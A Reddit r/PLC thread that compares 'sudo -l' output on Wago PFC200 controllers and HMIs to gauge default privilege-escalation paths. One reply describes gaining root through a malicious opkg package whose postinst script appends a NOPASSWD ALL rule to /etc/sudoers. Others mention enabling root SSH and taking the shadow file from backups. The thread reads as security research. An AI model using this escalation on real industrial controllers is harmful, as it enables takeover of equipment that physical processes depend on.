r/PLC • • 4d ago

Homework wago hmi / plc users?

I've been investigating security on some systems. Some things are harder to root than others. My wago plcs and hmis were exceedingly simple to root. But, then again, they're 10 years old, so, I'm not sure if the issues Ive observed are present in more modern systems.
I'd like to ask anyone with more modern Wago plcs and HMIs, to report output from 1 command, from an unprivileged ssh account. I'd like to know model/ year release, and the output of $sudo -l

for my own curiosity, I want to see if privilege escalation avenues are still a default setup in more modern implementations.

7 Upvotes

10 comments sorted by

3

u/Shalomiehomie770 Codesys Guru 4d ago

I have an ungodly amount of Wago in my office to test with.

When id have time to do this is another story entirely.

1

u/SensoredHacker 3d ago

if and when you get to it, I am interested.

2

u/LakeFlaccid69420 4d ago

Have rooted modern CC100s, PFC100s (gen1, gen2), and TP series HMIs many times. Admin password required everytime. Not sure if that answers your question.

1

u/SensoredHacker 3d ago

those utils that u/adaptine posted allow changing the application passwoord for admin, or user without credentials. most of them are shell scripts, which can be hard to determine from the shell, unless you pull them off, or look at the source. you can probably do something like:
user@e!DISPLAY-408A70:~ /etc/config-tools/config_user user=admin new-password=lol confirm-password=lol

1

u/adaptine 3d ago

There is no config_user, conifg_linux_user however, but not on sudo list. Some other issues is opkg which runs preinst/postinst maintainer scripts as root, config_ssh allows to add authorization via key and setting root_login=true. Then there is fwupdate/online_update/firmware_restore_admin which has "bricking" potential. shadow file can also be retrieved from firmware_backup. Also note that linux users are the same users which are used on wbm (root, admin and user)

Using config_linux_user requires root, it has no setuid or sudo. Exploting the wbm web path (auth/password_change) requires the current password of the user.

As for opkg, since admin has opkg as NOPASSWD, root can be gained using a malicious .ipk with the postinst content:

echo 'admin ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers 

while we're at it, user: sudo -l

Matching Defaults entries for user on TestPLC:
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User user may run the following commands on TestPLC:
    (root) NOPASSWD: /etc/config-tools/get_user_info

2

u/adaptine 4d ago

PFC200G2 FW28

Matching Defaults entries for admin on PFC200V3:
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User admin may run the following commands on PFC200V3:
    (root) NOPASSWD: /etc/config-tools/get_user_info,
        /etc/config-tools/get_typelabel_value,
        /etc/config-tools/get_coupler_details, /etc/config-tools/fwupdate,
        /etc/config-tools/online_update
    (root) NOPASSWD: /etc/config-tools/get_runtime_config,
        /etc/config-tools/terminate_codesys, /etc/config-tools/config_runtime,
        /bin/df, /etc/init.d/runtime, /etc/config-tools/get_typelabel_value,
        /etc/config-tools/get_coupler_details,
        /etc/config-tools/get_actual_eth_config,
        /etc/config-tools/get_eth_config,
        /etc/config-tools/get_possible_runtimes,
        /etc/config-tools/get_iocheckport_config, /etc/config-tools/firewall,
        /usr/bin/firewall, /etc/config-tools/config_iocheckport,
        /etc/config-tools/get_ssh_config, /etc/config-tools/config_ssh,
        /sbin/retain_data, /etc/config-tools/firmware_backup,
        /etc/config-tools/firmware_restore_admin, /bin/opkg

FW31

Matching Defaults entries for admin on TestPLC:
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User admin may run the following commands on TestPLC:
    (root) NOPASSWD: /etc/config-tools/get_user_info,
        /etc/config-tools/get_typelabel_value,
        /etc/config-tools/get_coupler_details, /etc/config-tools/fwupdate,
        /etc/config-tools/online_update
    (root) NOPASSWD: /etc/config-tools/get_runtime_config,
        /etc/config-tools/terminate_codesys, /etc/config-tools/config_runtime,
        /bin/df, /etc/init.d/runtime, /etc/config-tools/get_typelabel_value,
        /etc/config-tools/get_coupler_details,
        /etc/config-tools/get_actual_eth_config,
        /etc/config-tools/get_eth_config,
        /etc/config-tools/get_possible_runtimes,
        /etc/config-tools/get_iocheckport_config, /etc/config-tools/firewall,
        /usr/bin/firewall, /etc/config-tools/config_iocheckport,
        /etc/config-tools/get_ssh_config, /etc/config-tools/config_ssh,
        /sbin/retain_data, /etc/config-tools/firmware_backup,
        /etc/config-tools/firmware_restore_admin, /bin/opkg

2

u/adaptine 3d ago

fyi, you can download wago firmwares, which is the entire linux kernel, from https://downloadcenter.wago.com/

1

u/SensoredHacker 3d ago

I didnt want to sign in. 😄

5

u/Ben-Ko90 4d ago

Most people Never change the standard admin password…
Even nowdays…